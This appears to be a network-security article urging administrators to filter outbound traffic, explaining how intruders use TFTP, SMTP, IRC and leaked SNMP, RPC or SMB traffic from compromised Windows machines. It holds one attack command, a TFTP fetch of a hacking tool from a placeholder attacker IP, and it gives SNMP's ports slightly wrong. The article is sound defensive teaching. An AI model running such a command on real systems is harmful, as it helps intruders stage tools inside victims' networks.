Banks put a great deal of effort into preventing robbers getting in to high security vaults because that's where the money is. But robbers getting in is only half the problem: it's when the robbers get out again with the money that banks really suffer.
It's worth bearing this in mind when you're looking at the security of your network. Sure, no network administrator wants to see hackers breaking in, but it's often when they can get packets out - from your network, to the Internet that they can cause the real damage. That's why egress filtering controlling the traffic that leaves your network is so important. It's the digital equivalent of stopping anyone from leaving a bank who's wearing a mask and a stripey turtleneck top, and carrying a bulging sack over their shoulder marked "swag."
So let's take a look at some of the types of traffic that a hacker may try to send out of your network once they've broken in.
If a hacker gains control of one of the Windows machines on your network, there's a limit to what they can do with it. They can do a lot more damage if they can poke around your network with the right tools for the job, and more often than not this means moving some hacking tools to the compromised machine.
One rather convenient way of transferring tools is using Trivial File Transfer Protocol or TFTP. It's a hacker favorite for two reasons: it uses no authentication, which is handy because using an interactive app that requires the hacker to send username and password information from a remote compromised machine is hard, and because most Windows versions include a TFTP client.
So once our hacker has got hacking tool hacktool.exe ready and started a tftp server on the same machine, he or she can get a remote command shell on a compromised machine and simply type the following command:
tftp -i xxx.xxx.xxx.xxx GET hacktool.exe
(where xxx.xxx.xxx.xxx is the hacker's IP address)
Once hacktool.exe has been transferred to your compromised machine, the hacker can then get up to a whole bucketload of trouble by running it remotely inside your network.
TFTP uses UDP on port 69, and since TFTP is insecure and should never be used across the Internet anyway that's a compelling reason to block egressing UDP traffic on that port. (In fact you should probably be blocking most if not all egressing UDP traffic, but that's another matter.) Since outgoing TFTP traffic is a pretty good indicator that someone somewhere is up to no good on your network, it's also sensible to set up an alert if TFTP traffic tries to leave the network so that you can investigate further.
Bank robbers break in to take money out, so following the analogy you may think that hackers break in to your network to steal your data. And sometimes they do: they may install some form of key logger on a compromised machine which emails corporate account information (or other confidential data) to an e-mail address controlled by the hacker, using a built in SMTP server.
But they may also attempt to bring in their own data, in the form of spam content, and use your compromised machines to distribute it for them by installing covert SMTP servers. That's annoying for Internet users as a whole, but it's also bad for your organization especially if one or more of your corporate IP addresses get put on a spam blacklist and you are unable to send legitimate mail.
That's why you should make sure that SMTP traffic (TCP on port 25) is prevented from leaving your network when it originates from any machine except your designated mail servers. This also prevents any employees setting up rogue SMTP servers, which could potentially give you regulatory problems. Just don't forget to add new corporate SMTP servers to the allowed list if you don't want to waste time scratching your head and trying to work out why they don't work.
One way hackers control compromised machines to use as spam relays or to carry out DDOS attacks is by creating a botnet. Compromised bots or "zombie" machines often get commands from the hacker by logging in to particular IRC chat channels instead of connecting directly to the hacker.
IRC is not usually an appropriate business tool anyway, so its use should almost certainly be discouraged. It's a tricky one as it can run on any TCP port, but the most common are in the range 6660-6669, so it's a good idea to block these and also to make sure you're alerted when any machine tries to connect to an external IRC server. It's worth noting that next generation worms like the extremely sophisticated Conficker no longer use IRC to communicate with infected machines, preferring instead to use http (TCP on port 80).
There's plenty of other traffic that you'd never want to leave you network because of the information it could provide to anyone on the outside. SNMP traffic (UDP port 160-161), for example, can leak all kinds of information about Windows account names, services machines are running and ports which machines have open. There's also no general reason why you would want RPC (TCP and UDP on port 135) or SMB (TCP on port 445) to head off on to the Internet.
Choosing the optimum set of egress filters to protect your network and the most effective mechanisms for enforcing them will depend on the particular infrastructure in place on your network. But don't forget that when it comes to protecting your network, or a bank, stopping the bad guys coming in is only half the story: stopping them getting anything out is in many ways just as important.